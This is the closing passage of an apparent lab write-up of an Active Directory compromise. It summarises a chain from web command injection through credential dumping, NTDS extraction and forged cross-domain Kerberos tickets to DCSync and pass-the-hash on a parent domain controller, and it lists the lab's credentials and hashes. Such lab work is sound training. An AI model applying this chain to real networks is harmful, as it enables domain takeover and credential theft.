┌────────────────────┴────────────────────────────────────────────────────┐
│                    INTERNAL NETWORK (192.168.98.0/24)                   │
│                                                                         │
│     Nmap: 4 hosts, 29 open ports total                                  │
│     DC01 (192.168.98.2)   - 12 ports - Parent DC (warfare.corp)         │
│     Web  (192.168.98.15)  -  2 ports - Dual-homed Linux                 │
│     MGMT (192.168.98.30)  -  3 ports - Member server (SMB signing off)  │
│     CDC  (192.168.98.120) - 12 ports - Child DC (child.warfare.corp)    │
│                                                                         │
│     secretsdump (john) -> MGMT                                          │
│     SAM: 4 hashes, DCC2: 2 cached creds, LSA: SNMPTRAP service          │
│     Found: [email protected] / User4&*&*                      │
│                                                                         │
│     wmiexec (corpmngr) -> CDC                                           │
│     ntdsutil IFM -> ntds.dit (32 MB) + SYSTEM (18 MB)                   │
│     Offline dump: 8 NTLM hashes, 18 Kerberos keys                       │
│     krbtgt AES-256: ad8c273289e4c511b4363c43c08f9a5aff06f8fe...        │
│                                                                         │
│     lookupsid -> Child SID: S-1-5-21-3754860944-83624914-1883974761    │
│                  Parent SID: S-1-5-21-3375883379-808943238-3239386119   │
│                                                                         │
│     ticketer.py -> Forge cross-domain TGT (corpmngr.ccache)             │
│     getST.py -> CIFS/dc01.warfare.corp service ticket                   │
│                                                                         │
│     secretsdump (DRSUAPI/DCSync) -> DC01                                │
│     warfare\Administrator NTLM: a2f7b77b62cd97161e18be2ffcfdfd60        │
│                                                                         │
│     psexec (Pass-the-Hash) -> NT AUTHORITY\SYSTEM on DC01               │
│     Windows Server 2019 (10.0.17763.3650)                               │
│     Lab complete.                                                       │
└─────────────────────────────────────────────────────────────────────────┘

Tools Used

  • Nmap: Host discovery and port scanning across external and internal networks.
  • BurpSuite: Intercepted POST requests to dashboard1.php and exploited command injection.
  • LinPEAS: Automated Linux enumeration script locating places.sqlite.
  • SQLite3: Queried moz_places to extract plaintext credentials.
  • Ligolo-ng: TUN interface routing 192.168.98.0/24 through the web server.
  • Impacket secretsdump.py: Dumped SAM, DCC2, LSA Secrets, and performed DRSUAPI DCSync.
  • Impacket wmiexec.py: Semi-interactive command shell over WMI.
  • Impacket lookupsid.py: Enumerated domain SIDs.
  • Impacket ticketer.py: Forged cross-domain Kerberos Golden Tickets with extra SIDs.
  • Impacket getST.py: Acquired Kerberos CIFS service tickets.
  • Impacket psexec.py: Executed commands as NT AUTHORITY\SYSTEM using Pass-the-Hash.
  • ntdsutil: Created IFM database snapshot backups.

Credentials Collected

Account / Service Type Credential Where Found
privilege Linux Local User Admin@962 /etc/passwd GECOS field
[email protected] Domain User User1@#$%6 Firefox places.sqlite history
[email protected] Domain User User4&*&* LSA Secret _SC_SNMPTRAP on MGMT
krbtgt (child domain) Kerberos Master ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 Offline NTDS.dit dump
warfare\Administrator Parent Domain Admin a2f7b77b62cd97161e18be2ffcfdfd60 (NTLM) DCSync against DC01

Machines Compromised

  1. Web Server (192.168.80.10 / 192.168.98.15 - Ubuntu 20.04): Root privileges via command injection in dashboard1.php -> read /etc/passwd -> SSH login with sudo ALL privileges.
  2. MGMT (192.168.98.30 - Windows Workstation): Local admin access via John’s domain credentials -> mounted C$ share -> dumped LSA Secrets.
  3. CDC (192.168.98.120 - Child Domain Controller): Domain Admin access via corpmngr credentials -> executed wmiexec shell -> created IFM backup -> extracted krbtgt AES key.
  4. DC01 (192.168.98.2 - Parent Domain Controller): Enterprise Admin access (NT AUTHORITY\SYSTEM) via forged cross-domain Kerberos ticket -> CIFS service ticket -> DCSync -> Pass-the-Hash with psexec.

Read the original article on Medium.




Enjoy Reading This Article?

Here are some more articles you might like to read next: